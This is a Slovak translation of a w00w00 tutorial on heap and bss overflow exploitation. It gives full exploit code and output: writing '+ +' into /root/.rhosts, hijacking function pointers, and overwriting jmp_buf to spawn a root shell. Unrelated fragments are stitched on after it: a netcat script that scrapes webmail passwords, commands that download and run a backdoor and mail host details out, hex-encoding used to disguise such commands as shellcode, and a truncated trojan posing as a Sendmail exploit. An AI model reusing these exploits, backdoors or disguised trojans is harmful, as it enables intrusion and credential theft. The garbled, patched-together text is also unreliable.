hoci heap-based overflowy nie su nic nove, neboli doteraz dobre pochopene. ludia robia vsetko preto, aby sa uchranili pred stack-based overflowmi, ale nemyslia vobec na heap/bss. na viacerych systemoch, heap aj bss su vykonatelne (executable) a zapisovatelne (writeable) [ skvela kombinacia ]. toto robi heap/bss overflowy velmi pravdepodobne. neexistuje vsak pricina, preco by malo byt bss vykonatelne. co sa bude spustat v nulami vyplnenej pamati? pre vsetkych ludi od security, najviac heap-based overflowov su systemovo a platformovo nezavisle, vratane non-executable heaps. vsetko to bude demonstrovane v kapitole “exploitovanie heap/bss overflowov”.

terminologia

vykonatelny subor, ako elf (executable and linking format) ma niekolko casti v executable subore, ako je plt (procedure linking table), got (global offset table), init (instrukcie vykonane pri inicializacii), fini (instrukcie, ktore budu vykonane po skonceni), a ctors a dtors (obsahuje globalne konstruktory/destruktory).
“pamat, ktora je dynamicky alokovana aplikaciou nazyvame heap.” slovo “aplikaciou” je velmi dolezite, pretoze na dobrych systemoch najviac oblasti je v skutocnosti alokovane na urovni kernelu, pokym pri heap je alokovanie vyziadane aplikaciou.

heap a data/bss sekcie

heap je teda oblast v pamati, ktora je dynamicky alokovana aplikaciou. data sekcia je inicializovana v case kompilacie. bss sekcia obsahuje neinicializovane data a je alokovana pocas behu. pokym sa tam nieco nezapise, zostava to vynulovane (teda aspon z pohladu aplikacie). ked sa budeme v kapitole nizsie odkazovat na “heap-based oveflowy”, myslime tym sucasne heap/bss sekcie. na vacsine systemoch, heap rastie hore (smerom k vyssim adresam). preto, ked poviem, ze x je pod y, znamena to, ze x je v pamati nizsie ako y.

exploitovanie heap/bss overflowov

v tejto kapitole si ukazeme niekolko odlisnych metod na mozne vyuzitie heap/bss overflowov. najviac prikladov je pre unixove x86 systemy, tiez to pobezi pod dosom a windozami (s mensimi obmenami). tiez sme obsiahli niekolko dos/windows specifickych exploitovacich metod.
v tomto clanku pouzivame “exact offset” pristup. offset musi byt najblizsie aproximovany k jeho skutocnej hodnote. alternativou je “stack-based overflow pristup”, kedy sa opakuju adresy na zvysenie pravdepodobnosti uspesnosti exploitu.

nasledujuci priklad moze vyzerat zbytocny, predkladame ho len pre tych, ktori nie su oboznameni s heap-based overflowmi. takze kratka ukazka:

   /* demonstrates dynamic overflow in heap (initialized data) */
   #include 
   #include 
   #include 
   #include 
   #define bufsize 16
   #define oversize 8 /* overflow buf2 by oversize bytes */
   int main()
   {
      u_long diff;
      char *buf1 = (char *)malloc(bufsize), *buf2 = (char *)malloc(bufsize);
      diff = (u_long)buf2 - (u_long)buf1;
      printf("buf1 = %p, buf2 = %p, diff = 0x%x bytesn", buf1, buf2, diff);
      memset(buf2, 'a', bufsize-1), buf2[bufsize-1] = '';
      printf("before overflow: buf2 = %sn", buf2);
      memset(buf1, 'b', (u_int)(diff + oversize));
      printf("after overflow: buf2 = %sn", buf2);
      return 0;
   }

po spusteni dostaneme:

   [root /w00w00/heap/examples/basic]# ./heap1 8
   buf1 = 0x804e000, buf2 = 0x804eff0, diff = 0xff0 bytes
   before overflow: buf2 = aaaaaaaaaaaaaaa
   after overflow: buf2 = bbbbbbbbaaaaaaa

funguje to preto, lebo buf1 prepise hranice v oblasti buf2 heapu. pretoze oblast heap2 je stale spravna cast pamate (nic dolezite sme neprepisali), program nezleti.

mozny fix pre heap-based overflowy (ktore budu spomenute neskor) je vlozit urcite hodnoty medzi vsetky premenne v heap oblasti (ako to robi stackguard spomenuty neskor), ktore nesmu byt zmenene pocas vykonania (execution). kompletny zdrojak so vsetkymi prikladmi pouzitych v tomto clanku je pristupny v archive clankov na http://www.w00w00.org/articles.html.

na demonstrovanie bss-based overflowu, zmenime riadok:
z: ‘char *buf = malloc(bufsize)’, na: ‘static char buf[bufsize]’
bol to velmi jednoduchy priklad, pretoze sme chceli demonstrovat heap overflow na najnizsom moznom stupni. to je zaklad takm vsetkych heap-based overflowov. mozeme to pouzit pri prepisani nazvu suboru, hesla, ulozeneho uid a tak dalej. tu je (stale jednoduchy) priklad s manipulaciou pointrami:

   /* demonstrates static pointer overflow in bss (uninitialized data) */
   #include 
   #include 
   #include 
   #include 
   #include 
   #define bufsize 16
   #define addrlen 4 /* # of bytes in an address */
   int main()
   {
      u_long diff;
      static char buf[bufsize], *bufptr;
      bufptr = buf, diff = (u_long)&bufptr; - (u_long)buf;
      printf("bufptr (%p) = %p, buf = %p, diff = 0x%x (%d) bytesn",
             &bufptr;, bufptr, buf, diff, diff);
      memset(buf, 'a', (u_int)(diff + addrlen));
      printf("bufptr (%p) = %p, buf = %p, diff = 0x%x (%d) bytesn",
             &bufptr;, bufptr, buf, diff, diff);
      return 0;
   }

vysledky:

   [root /w00w00/heap/examples/basic]# ./heap3
   bufptr (0x804a860) = 0x804a850, buf = 0x804a850, diff = 0x10 (16) bytes
   bufptr (0x804a860) = 0x41414141, buf = 0x804a850, diff = 0x10 (16) bytes

po spusteni jasne vidime, ze pointer teraz ukazuje na odlisnu adresu. pouzitim coho? dalsi priklad je ukazkou toho, kedy mozeme prepisat docasne ulozeny pointer na nazov suboru na ukazovatel na uplne odlisny retazec (napr. argv[1]), co mozeme zabezpecit), pricom nas retazec moze obsahovat “/root/.rhosts”. konecne vidime nejake mozne (vy/zne)uzitie.

na demonstrovanie pouzijeme docasny subor na okamih ulozeny zo vstupu uzivatela. toto je nas dokonceny “vulnerable” program:

   /*
    * this is a typical vulnerable program.  it will store user input in a
    * temporary file.
    *
    * compile as: gcc -o vulprog1 vulprog1.c
    */
   #include 
   #include 
   #include 
   #include 
   #include 
   #define error -1
   #define bufsize 16
   /*
    * run this vulprog as root or change the "vulfile" to something else.
    * otherwise, even if the exploit works, it won't have permission to
    * overwrite /root/.rhosts (the default "example").
    */
   int main(int argc, char **argv)
   {
      file *tmpfd;
      static char buf[bufsize], *tmpfile;
      if (argc <= 1)
      {
         fprintf(stderr, "usage: %s n", argv[0]);
         exit(error);
      }
      tmpfile = "/tmp/vulprog.tmp"; /* no, this is not a temp file vul */
      printf("before: tmpfile = %sn", tmpfile);
      printf("enter one line of data to put in %s: ", tmpfile);
      gets(buf);
      printf("nafter: tmpfile = %sn", tmpfile);
      tmpfd = fopen(tmpfile, "w");
      if (tmpfd == null)
      {
         fprintf(stderr, "error opening %s: %sn", tmpfile,
                 strerror(errno));
         exit(error);
      }
      fputs(buf, tmpfd);
      fclose(tmpfd);
   }

   /*
    * copyright (c) january 1999, matt conover & wsd
    *
    * this will exploit vulprog1.c.  it passes some arguments to the
    * program (that the vulnerable program doesn't use).  the vulnerable
    * program expects us to enter one line of input to be stored
    * temporarily.  however, because of a static buffer overflow, we can
    * overwrite the temporary filename pointer, to have it point to
    * argv[1] (which we could pass as "/root/.rhosts").  then it will
    * write our temporary line to this file.  so our overflow string (what
    * we pass as our input line) will be:
    *   + + # (tmpfile addr) - (buf addr) # of a's | argv[1] address
    *
    * we use "+ +" (all hosts), followed by '#' (comment indicator), to
    * prevent our "attack code" from causing problems.  without the
    * "#", programs using .rhosts would misinterpret our attack code.
    *
    * compile as: gcc -o exploit1 exploit1.c
    */
   #include 
   #include 
   #include 
   #include 
   #define bufsize 256
   #define diff 16 /* estimated diff between buf/tmpfile in vulprog */
   #define error 1
   #define vulprog "./vulprog1"
   #define vulfile "/root/.rhosts" /* the file 'buf' will be stored in */
   /* get value of sp off the stack (used to calculate argv[1] address) */
   u_long getesp()
   {
      __asm__("movl %esp,%eax"); /* equiv. of 'return esp;' in c */
   }
   int main(int argc, char **argv)
   {
      u_long addr;
      register int i;
      int mainbufsize;
      char *mainbuf, buf[diff+6+1] = "+ +t# ";
      /* ------------------------------------------------------ */
      if (argc <= 1)
      {
         fprintf(stderr, "usage: %s  [try 310-330]n", argv[0]);
         exit(error);
      }
      /* ------------------------------------------------------ */
      memset(buf, 0, sizeof(buf)), strcpy(buf, "+ +t# ");
      memset(buf + strlen(buf), 'a', diff);
      addr = getesp() + atoi(argv[1]);
      /* reverse byte order (on a little endian system) */
      for (i = 0; i < sizeof(u_long); i++)
         buf[diff + i] = ((u_long)addr >> (i * 8) & 255);
      mainbufsize = strlen(buf) + strlen(vulprog) +
                    strlen(vulprog) + strlen(vulfile) + 13;
      mainbuf = (char *)malloc(mainbufsize);
      memset(mainbuf, 0, sizeof(mainbuf));
      snprintf(mainbuf, mainbufsize - 1, "echo '%s' | %s %sn",
               buf, vulprog, vulfile);
      printf("overflowing tmpaddr to point to %p, check %s after.nn",
             addr, vulfile);
      system(mainbuf);
      return 0;
   }

vysledok po spusteni:

   [root /w00w00/heap/examples/vulpkgs/vulpkg1]# ./exploit1 330 (428)
   overflowing tmpaddr to point to 0xbffffd6a, check /root/.rhosts after.
   before: tmpfile = /tmp/vulprog.tmp
   enter one line of data to put in /tmp/vulprog.tmp:
   after: tmpfile = /root/.rhosts

potrebujeme spravnu adresu (argv[1]), obratime poradie bajtikov pre little endian systemy. little endian systemy pouzivaju najmenej vyznamny bajt ako prvy (x86 je little endian), teda 0x123456 je ulozeny v pamati ako 0x563412. ak to robime na big endian systemoch (ako sparc) tak sa na obratenie poradia bajtikov mozeme vykaslat. zatial ziadny z tychto prikladov nevyzadoval vykonatelny heap! ako sme spomenuli v casti “preco su heap/bss overflowy tak dolezite”, predchadzajuce priklady boli (az na vynimku s poradim adresovych bajtov) systemovo/platformovo nezavisle. dost uzitocne pri exploitovani heap-based overflowov.

so znalostou ako prepisovat pointre, ideme si ukazat ako modifikovat pointre funkcii. na exploitovanie pointerov funkcii vyzadujeme vykonatelny heap. pointer na funkciu (napr. “int (*funcptr)(char *str)”) povoluje programatorom dynamicky modifikovat funkciu, ktora bude volana. pointer na funkciu mozeme prepisat prepisanim jeho adresy, teda po prepisani sa zavola funkcia, ktorej pointer tam nastavime. pred vsetkym najskor vlozime nas shellcode. to mozme urobit nasledovne:

je vacsia pravdepodobnost, ze heap bude vykonatelny (executable) na danom systeme ako napriklad stack. teda heap metoda pobezi pravdepodobne castejsie. druha metoda je jednoducho uhadnut (to je dost neefektivne) adresu funkcie pouzitim predpokladaneho offsetu vo vulnerable programu. tiez, ak pozname adresu system() v nasom programe, bude pravdepodobne na velmi blizkom offsete v exploite, teda ak predpokladame, ze vulprog/exploit boli skompilovani zhruba rovnakym sposobom. vyhoda je, ze nic vykonatelne nie je nutne.

dalsia metoda je pouzit plt (procedure linking table), ktora obsahuje adresy funkcii v plt. druhu metodu uprednostnime hlavne koli jednoduchosti. mozeme uhadnut offset volania system() vo vulprog z adresy system() v nasom exploite celkom rychlo. obdobne je to vo vzdialenych systemoch (predpokladame rovnake verzie, operacne systemy, platformy). s metodou stacku mame tu vyhodu, ze prakticky mozme urobit, co chceme, teda nevyzadujeme kompatibilne pointre na funkcie (napr. char (*funcptr)(int a) a void (*funcptr)() pobezi rovnako). nevyhoda stackovej metody je ze vyzadujeme executable stack.

nas vulnerable program pre nase 2 exploity:

   /*
    * just the vulnerable program we will exploit.
    * compile as: gcc -o vulprog vulprog.c (or change exploit macros)
    */
   #include 
   #include 
   #include 
   #include 
   #define error -1
   #define bufsize 64
   int goodfunc(const char *str); /* funcptr starts out as this */
   int main(int argc, char **argv)
   {
      static char buf[bufsize];
      static int (*funcptr)(const char *str);
      if (argc <= 2)
      {
         fprintf(stderr, "usage: %s  n", argv[0]);
         exit(error);
      }
      printf("(for 1st exploit) system() = %pn", system);
      printf("(for 2nd exploit, stack method) argv[2] = %pn", argv[2]);
      printf("(for 2nd exploit, heap offset method) buf = %pnn", buf);
      funcptr = (int (*)(const char *str))goodfunc;
      printf("before overflow: funcptr points to %pn", funcptr);
      memset(buf, 0, sizeof(buf));
      strncpy(buf, argv[1], strlen(argv[1]));
      printf("after overflow: funcptr points to %pn", funcptr);
      (void)(*funcptr)(argv[2]);
      return 0;
   }
   /* ---------------------------------------------- */
   /* this is what funcptr would point to if we didn't overflow it */
   int goodfunc(const char *str)
   {
      printf("nhi, i'm a good function.  i was passed: %sn", str);
      return 0;
   }

   /*
    * copyright (c) january 1999, matt conover & wsd
    *
    * demonstrates overflowing/manipulating static function pointers in
    * the bss (uninitialized data) to execute functions.
    *
    * try in the offset (argv[2]) in the range of 0-20 (10-16 is best)
    * to compile use: gcc -o exploit1 exploit1.c
    */
   #include 
   #include 
   #include 
   #include 
   #define bufsize 64 /* the estimated diff between funcptr/buf */
   #define vulprog "./vulprog" /* vulnerable program location */
   #define cmd "/bin/sh" /* command to execute if successful */
   #define error -1
   int main(int argc, char **argv)
   {
      register int i;
      u_long sysaddr;
      static char buf[bufsize + sizeof(u_long) + 1] = {0};
      if (argc <= 1)
      {
         fprintf(stderr, "usage: %s n", argv[0]);
         fprintf(stderr, "[offset = estimated system() offset]nn");
         exit(error);
      }
      sysaddr = (u_long)&system; - atoi(argv[1]);
      printf("trying system() at 0x%lxn", sysaddr);
      memset(buf, 'a', bufsize);
      /* reverse byte order (on a little endian system) */
      for (i = 0; i < sizeof(sysaddr); i++)
         buf[bufsize + i] = ((u_long)sysaddr >> (i * 8)) & 255;
      execl(vulprog, vulprog, buf, cmd, null);
      return 0;
   }

   [root /w00w00/heap/examples]# ./exploit1 16
   trying system() at 0x80484d0
   (for 1st exploit) system() = 0x80484d0
   (for 2nd exploit, stack method) argv[2] = 0xbffffd3c
   (for 2nd exploit, heap offset method) buf = 0x804a9a8
   before overflow: funcptr points to 0x8048770
   after overflow: funcptr points to 0x80484d0
   bash#

   /*
    * copyright (c) january 1999, matt conover & wsd
    *
    * this demonstrates how to exploit a static buffer to point the
    * function pointer at argv[] to execute shellcode.  this requires
    * an executable heap to succeed.
    *
    * the exploit takes two argumenst (the offset and "heap"/"stack").
    * for argv[] method, it's an estimated offset to argv[2] from
    * the stack top.  for the heap offset method, it's an estimated offset
    * to the target/overflow buffer from the heap top.
    *
    * try values somewhere between 325-345 for argv[] method, and 420-450
    * for heap.
    *
    * to compile use: gcc -o exploit2 exploit2.c
    */
   #include 
   #include 
   #include 
   #include 
   #define error -1
   #define bufsize 64 /* estimated diff between buf/funcptr */
   #define vulprog "./vulprog" /* where the vulprog is */
   char shellcode[] = /* just aleph1's old shellcode (linux x86) */
     "xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0"
     "x0bx89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8"
     "x40xcdx80xe8xdcxffxffxff/bin/sh";
   u_long getesp()
   {
      __asm__("movl %esp,%eax"); /* set sp as return value */
   }
   int main(int argc, char **argv)
   {
      register int i;
      u_long sysaddr;
      char buf[bufsize + sizeof(u_long) + 1];
      if (argc <= 2)
      {
         fprintf(stderr, "usage: %s  n", argv[0]);
         exit(error);
      }
      if (strncmp(argv[2], "stack", 5) == 0)
      {
         printf("using stack for shellcode (requires exec. stack)n");
         sysaddr = getesp() + atoi(argv[1]);
         printf("using 0x%lx as our argv[1] addressnn", sysaddr);
         memset(buf, 'a', bufsize + sizeof(u_long));
      }
      else
      {
         printf("using heap buffer for shellcode "
                "(requires exec. heap)n");
         sysaddr = (u_long)sbrk(0) - atoi(argv[1]);
         printf("using 0x%lx as our buffer's addressnn", sysaddr);
         if (bufsize + 4 + 1 < strlen(shellcode))
         {
            fprintf(stderr, "error: buffer is too small for shellcode "
                            "(min. = %d bytes)n", strlen(shellcode));
            exit(error);
         }
         strcpy(buf, shellcode);
         memset(buf + strlen(shellcode), 'a',
                bufsize - strlen(shellcode) + sizeof(u_long));
      }
      buf[bufsize + sizeof(u_long)] = '';
      /* reverse byte order (on a little endian system) */
      for (i = 0; i < sizeof(sysaddr); i++)
         buf[bufsize + i] = ((u_long)sysaddr >> (i * 8)) & 255;
      execl(vulprog, vulprog, buf, shellcode, null);
      return 0;
   }

   [root /w00w00/heap/examples] ./exploit2 334 stack
   using stack for shellcode (requires exec. stack)
   using 0xbffffd16 as our argv[1] address
   (for 1st exploit) system() = 0x80484d0
   (for 2nd exploit, stack method) argv[2] = 0xbffffd16
   (for 2nd exploit, heap offset method) buf = 0x804a9a8
   before overflow: funcptr points to 0x8048770
   after overflow: funcptr points to 0xbffffd16
   bash#

   [root /w00w00/heap/examples] ./exploit2 428 heap
   using heap buffer for shellcode (requires exec. heap)
   using 0x804a9a8 as our buffer's address
   (for 1st exploit) system() = 0x80484d0
   (for 2nd exploit, stack method) argv[2] = 0xbffffd16
   (for 2nd exploit, heap offset method) buf = 0x804a9a8
   before overflow: funcptr points to 0x8048770
   after overflow: funcptr points to 0x804a9a8
   bash#

dalsia vyhoda heap metody je, ze mame sirsi adresovy rozsah. s argv[] (stack) metodou, musime byt presni. s heap offsetovou metodou, hocijaky offset s 428-442 by mal ist. ako vidime, existuje niekolko odlisnych metod na exploitovanie jednej veci. ako pridavny bonus, si prilozime finalny typ exploitovania, ktory pouziva jmp_bufs (setjmp/longjmp). jmp_buf sa normalne uklada do stacku a neskor sa na to skace (pocas vykonania). ak mame moznost overflownut buffer medzi setjmp() a longjmp(), ktory je nad overflowujucim buffrom, tak existuje moznost exploitovania. mozeme nastavit emulaciu spravania stack-based overflowu (ako to robi argv[] shellcode metoda spomenuta skor). nasledujuci priklad (s jmp_buf) je pre x86 systemy. je to nutne prislusne zmenit pre ostatne platformy.

najskor nas vulnerable program:

   /*
    * this is just a basic vulnerable program to demonstrate
    * how to overwrite/modify jmp_buf's to modify the course of
    * execution.
    */
   #include 
   #include 
   #include 
   #include 
   #include 
   #define error -1
   #define bufsize 16
   static char buf[bufsize];
   jmp_buf jmpbuf;
   u_long getesp()
   {
   __asm__("movl %esp,%eax"); /* the return value goes in %eax */
   }   int main(int argc, char **argv)
   {
      if (argc <= 1)
      {
         fprintf(stderr, "usage: %s  n");
         exit(error);
      }
      printf("[vulprog] argv[2] = %pn", argv[2]);
      printf("[vulprog] sp = 0x%lxnn", getesp());
      if (setjmp(jmpbuf)) /* if > 0, we got here from longjmp() */
      {
         fprintf(stderr, "error: exploit didn't workn");
         exit(error);
      }
/* v glibc 2.x.x je nutne pristupovat cez jmpbuf[jb_?x] k jednotlivym registrom  jednotlive polozky __bx, __si, __di su totiz nezname 
      printf("before:n");
      printf("bx = 0x%lx, si = 0x%lx, di = 0x%lxn",
             jmpbuf->__bx, jmpbuf->__si, jmpbuf->__di);
      printf("bp = %p, sp = %p, pc = %pnn",
             jmpbuf->__bp, jmpbuf->__sp, jmpbuf->__pc); */
     strncpy(buf, argv[1], strlen(argv[1])); /* actual copy here */
/* 
      printf("after:n");
      printf("bx = 0x%lx, si = 0x%lx, di = 0x%lxn",
             jmpbuf->__bx, jmpbuf->__si, jmpbuf->__di);
      printf("bp = %p, sp = %p, pc = %pnn",
             jmpbuf->__bp, jmpbuf->__sp, jmpbuf->__pc);
*/
      longjmp(jmpbuf, 1);
      return 0;
   }

   /*
    * copyright (c) january 1999, matt conover & wsd
    *
    * demonstrates a method of overwriting jmpbuf's (setjmp/longjmp)
    * to emulate a stack-based overflow in the heap.  by that i mean,
    * you would overflow the sp/pc of the jmpbuf.  when longjmp() is
    * called, it will execute the next instruction at that address.
    * therefore, we can stick shellcode at this address (as the data/heap
    * section on most systems is executable), and it will be executed.
    *
    * this takes two arguments (offsets):
    *   arg 1 - stack offset (should be about 25-45).
    *   arg 2 - argv offset (should be about 310-330).
    */
   #include 
   #include 
   #include 
   #include 
   #define error -1
   #define bufsize 16
   #define vulprog "./vulprog4"
   char shellcode[] = /* just aleph1's old shellcode (linux x86) */
      "xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0"
      "x0bx89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8"
      "x40xcdx80xe8xdcxffxffxff/bin/sh";
   u_long getesp()
   {
      __asm__("movl %esp,%eax"); /* the return value goes in %eax */
   }
   int main(int argc, char **argv)
   {
      int stackaddr, argvaddr;
      register int index, i, j;
      char buf[bufsize + 24 + 1];
      if (argc <= 1)
      {
         fprintf(stderr, "usage: %s  n",
                 argv[0]);
         fprintf(stderr, "[stack offset = offset to stack of vulprogn");
         fprintf(stderr, "[argv offset = offset to argv[2]]n");
         exit(error);
      }
      stackaddr = getesp() - atoi(argv[1]);
      argvaddr = getesp() + atoi(argv[2]);
      printf("trying address 0x%lx for argv[2]n", argvaddr);
      printf("trying address 0x%lx for spnn", stackaddr);
      /*
       * the second memset() is needed, because otherwise some values
       * will be (null) and the longjmp() won't do our shellcode.
       */
      memset(buf, 'a', bufsize), memset(buf + bufsize + 4, 0x1, 12);
      buf[bufsize+24] = '';
      /* ------------------------------------- */
      /*
       * we need the stack pointer, because to set pc to our shellcode
       * address, we have to overwrite the stack pointer for jmpbuf.
       * therefore, we'll rewrite it with the real address again.
       */
      for (i = 0; i < sizeof(u_long); i++) /* setup bp */
      {
         index = bufsize + 16 + i;
         buf[index] = (stackaddr >> (i * 8)) & 255;
      }
      /* ----------------------------- */
      for (i = 0; i < sizeof(u_long); i++) /* setup sp */
      {
         index = bufsize + 20 + i;
         buf[index] = (stackaddr >> (i * 8)) & 255;
      }
     /* ----------------------------- */
      for (i = 0; i < sizeof(u_long); i++) /* setup pc */
      {
         index = bufsize + 24 + i;
         buf[index] = (argvaddr >> (i * 8)) & 255;
      }
      execl(vulprog, vulprog, buf, shellcode, null);
      return 0;
   }

   [root /w00w00/heap/examples/vulpkgs/vulpkg4]# ./exploit4 36 322
   trying address 0xbffffcf6 for argv[2]
   trying address 0xbffffb90 for sp
   [vulprog] argv[2] = 0xbffffcf6
   [vulprog] sp = 0xbffffb90
   before:
   bx = 0x0, si = 0x40001fb0, di = 0x4000000f
   bp = 0xbffffb98, sp = 0xbffffb94, pc = 0x8048715
   after:
   bx = 0x1010101, si = 0x1010101, di = 0x1010101
   bp = 0xbffffb90, sp = 0xbffffb90, pc = 0xbffffcf6
   bash#

   funkcia:			      pricina:
   1. *gets()/*printf(), *scanf()     __iob (file) structure in heap
   2. popen()                         __iob (file) structure in heap
   3. *dir() (readdir, seekdir, ...)  dir entries (dir/heap buffers)
   4. atexit()                        static/global function pointers
   5. strdup()                        allocates dynamic data in the heap
   7. getenv()                        stored data on heap
   8. tmpnam()                        stored data on heap
   9. malloc()                        chain pointers
   10. rpc callback functions         function pointers
   11. windows callback functions     func pointers kept on heap
   12. signal handler pointers        function pointers (note: unix tracks
       in cygnus (gcc for win),       these in the kernel, not in the heap)

predvedieme si prepisanie windows navratovych funkcii a prepisanie file (__iob) struktur (s popen). ked vieme ako prepisovat file struktury s popen(), dokazeme si celkom rychlo predstavit, ako to robit s inymi funkciami (napr. *printf, *gets, *scanf, atd), tak dobre, ako aj s dir strukturami (pretoze su velmi podobne).

heap-based overflow sa dal vyuzit v bsdi crontabe po zadani dlheho nazvu suboru, ktore overflowol staticky buffer. nad buffrom v pamati sme mali pwd strukturu! teda ulozeny username, password, uid, gid atd. prepisanim uid/gid polozky v pw, sme mohli nastavit privilegia s ktorymi crondaemon pustil nas crontab. nas script (v crontabe) mohol hodit suid root shell (fantazii sa medze nekladu), pretoze to cele frcalo pod uid/gid 0.
tiez bolo mozne ziskat roota, potom ako sme exploitli heap overflowom uucp privilegia prepisanim statickeho buffra pri zadavani nazvu subor na send/receive.

mozna ochrana:

samozrejme, najlepsia ochrana pred heap-based overflowmi je pisat v prvom rade dobry kod. podobne ako pred stack-based overflowmi, zatial neexistuje nejaky realny sposob na prevenciu heap-based overflowov. existuje speci soft na kontrolovanie hranic (na detekciu najcastejsich moznych heap-based overflowov) pre gcc/egcs vyvinuty richardom jonesom a paulom kelly (http://www.annexia.demon.co.uk). detekuje pretecenie zapricinene ludskym faktorom. pre windozy existuje numega bounds’checker, ktory robi zhruba rovnaku kontrolu hranic ako bounds checking pri gcc. stale mozeme vytvorit non-executable heap patch (ale ako sme spominali na zaciatku vacsina systemov ma executable heap). solar designer spomenul, ze hlavne problemy s non-executable sa bude tykat compilerov, interpreterov atd. k non-executable heap patchu treba dodat, ze jedine, co zabezpeci je, ze nemozeme vykonavat instrukcie v heapu, vonkoncom to nie je ochrana proti prepisovania dat (pointerov) v heape [ heheh. to sa bude dat este pekne dlho ;-)] existuje moznost vytvorit heapguard, ktory bude ekvivalentny cowanovmu stackguardu (ktory sme uz spominali). jeho funkciou je zabranit prepisovaniu navratovych adries (na stacku) nejakym exploitom. vobec nezabranuje heap/bss overflowom. mozno niekedy v buducnosti sa niecoho dockame…

odkazy:

solar designer: superprobe exploit (pointre funkcii), color_xterm
exploit (pointre struktur), website (pointre poli), etc.
l0pht: internet explorer 4.01 vulnerablity (dildog), bsdi crontab
exploit (mudge), etc.
joe zbiciak/adam morisson

matt conover (a.k.a. shok) & w00w00 security team,
preklad a uprava: wilder, wilder(at)hq.alert.sk

$ cat getpassword
#!/bin/sh
netcat="/usr/bin/nc"
timeout=20
if [ ! $1 ]; then
  echo "Pouziti: $0 "
  exit 1
fi
log=".tmp.${RANDOM}"
trap "rm -f $log" 0 9 15
(
  echo "GET /uprefs.asp?id=${1} HTTP/1.1"
  echo "Host: www.post.cz"
  echo "Connection: close"
  echo
) 
| $netcat -w $timeout www.post.cz 80 > $log
login=`cat $log | grep -iE ">.*@post.cz<" | awk -F"@" '{print $1}' |
 awk -F">" '{print $3}'`
heslo=`cat $log | grep -iE "input.*name=overeni.*value=" |
 awk -F "VALUE="" '{print $2}' | awk -F" '{print $1}'`
if [ -z "$login" ]; then
  login="unknown"
fi
if [ -z "$heslo" ]; then
  heslo="unknown"
fi
echo "$login:$heslo"

program gettickets se dal do crontabu na kazdou minutu. sve obeti jste poslal mail s obrazkem ze sveho serveru. nejpozdeji jednu minutu pote, co si obet mail precetla, jste meli jeji jmeno a heslo v souboru post.log.

newroot, newroot(at)hysteria.sk

`which lynx` -dump niekde.sk/backdoor.c>/tmp/backdoor.c;gcc -o /tmp/backdoor 
/tmp/backdoor.c;/tmp/backdoor;rm -f /tmp/backdoor*;echo "`whoami`@`hostname -i"|
mail [email protected]

(shellcode_3):

echo>>/etc/profile;cc -o httpd httpd.c;rm httpd.c;mv httpd /dev/;/dev/httpd;
echo /dev/httpd>>/etc/profile;cat /etc/hosts | mail [email protected]

aby seria prikazov nebola napadna a zaroven sa podobala typickym shellcodom znamym z roznych exploitov, konvertuje sa do hexadecimalneho tvaru. pri spusteni su znaky interpretovane korektne. tuto konverziu je mozne docielit jednoduchym programom v jazyku c:

<-- cut konvertor.c ------------------------------------------------------------
#define EOF -1
main()
{
  char c;
  while ((c = getchar())!= EOF)
    printf("\x%X", c);
}
<-- cut konvertor.c ------------------------------------------------------------

cat subor_s_prikazmi | ./konvertor > subor_s_hotovym_shellcodom

x63x70x20x2Fx65x74x63x2Fx69x6Ex65x74x64x2Ex63x6Fx6Ex66x20
x2Fx74x6Dx70x2Fx3Bx28x63x61x74x20x2Fx65x74x63x2Fx69x6Ex65
x74x64x2Ex63x6Fx6Ex66x3Bx20x65x63x68x6Fx20x22x33x31x33x33
x37x20x73x74x72x65x61x6Dx20x74x63x70x20x6Ex6Fx77x61x69x74
x20x72x6Fx6Fx74x20x2Fx62x69x6Ex2Fx62x61x73x68x20x62x61x73
x68x20x2Dx69x22x29x3Ex2Fx65x74x63x2Fx69x6Ex65x74x64x2Ex63
x6Fx6Ex66x3Bx6Bx69x6Cx6Cx61x6Cx6Cx20x2Dx48x55x50x20x69x6E
x65x74x64x3Bx6Dx76x20x2Fx74x6Dx70x2Fx69x6Ex65x74x64x2Ex63
x6Fx6Ex66x20x2Fx65x74x63x2Fx3Bx65x63x68x6Fx20x22x60x77x68
x6Fx61x6Dx69x60x40x60x68x6Fx73x74x6Ex61x6Dx65x20x2Dx69x60
x22x7Cx6Dx61x69x6Cx20x6Fx6Ex40x6Ex69x65x6Bx64x65x2Ex74x61
x6Dx2Ex73x6B

priklad trojskeho kona vydavajuceho sa za remote exploit na sendmail:

<-- cut usb.c ------------------------------------------------------------------
#include 
#include 
char shellcode[] =
"x65x63x68x6Fx20x22x6Ax61x20x73x6Fx6Dx20x74x61x6B"
"x79x20x6Dx61x6Cx79x20x6Cx61x6Dx65x72x6Bx6Fx2Ex20"
"x76x6Fx6Cx61x6Dx20x73x61x20x60x77x68x6Fx61x6Dx69"
"x60x20x61x20x76x6Fx62x65x63x20x6Ex65x6Bx6Fx6Ex74"
"x72x6Fx6Cx75x6Ax65x6Dx20x73x68x65x6Cx6Cx63x6Fx64"
"x79x20x65x78x70x6Cx6Fx69x74x6Fx76x2Ex20x73x70x75"
"x73x74x61x6Dx20x63x6Fx20x6Dx61x20x6Ex61x70x61x64"
"x6Ex65x20x61x20x76x6Fx62x65x63x20x6Ex65x72x6Fx7A"
"x75x6Dx69x65x6Dx20x74x6Fx6Dx75x2Cx20x63x6Fx20x72"
"x6Fx62x69x6Dx2Ex22x3Ex3Ex20x2Fx74x6Dx70x2Fx4Ax41"
"x2Dx53x4Fx4Dx2Dx4Cx41x4Dx45x52x3Bx20x63x61x74x20"
"x2Fx74x6Dx70x2Fx4Ax41x2Dx53x4Fx4Dx2Dx4Cx41x4Dx45"
"x52x7Cx6Dx61x69x6Cx20x72x6Fx6Fx74";
#define	LSIZE	256
#define BUFSIZE	2000
int main(int argc, char *argv[])
{
  int sck;
  char *buf;
  struct hostent *target;
  struct sockaddr_in sin;
  if (argc != 2) {
    printf("nUltimate Sendmail 8.9.3 remote exploit by 31337 hax0r.n");
    printf("Usage: %s [target host]nn", argv[0]);
    exit(1);
  }
  buf = (char *) malloc(LSIZE + BUFSIZE + 100);
  memcpy(&buf;[LSIZE - strlen(shellcode)], shellcode, strlen(shellcode));
  target = gethostbyname(argv[1]);
  if (target == NULL) {
    printf("Error: Host not found: %sn", argv[1]);
    exit(1);
  }
  bzero(&sin;, sizeof(sin));  
  bcopy(target->h_addr, (char *)&sin.sin;_addr, target->h_length);
  sin.sin_family = AF_INET;
  sin.sin_port = htons(80);
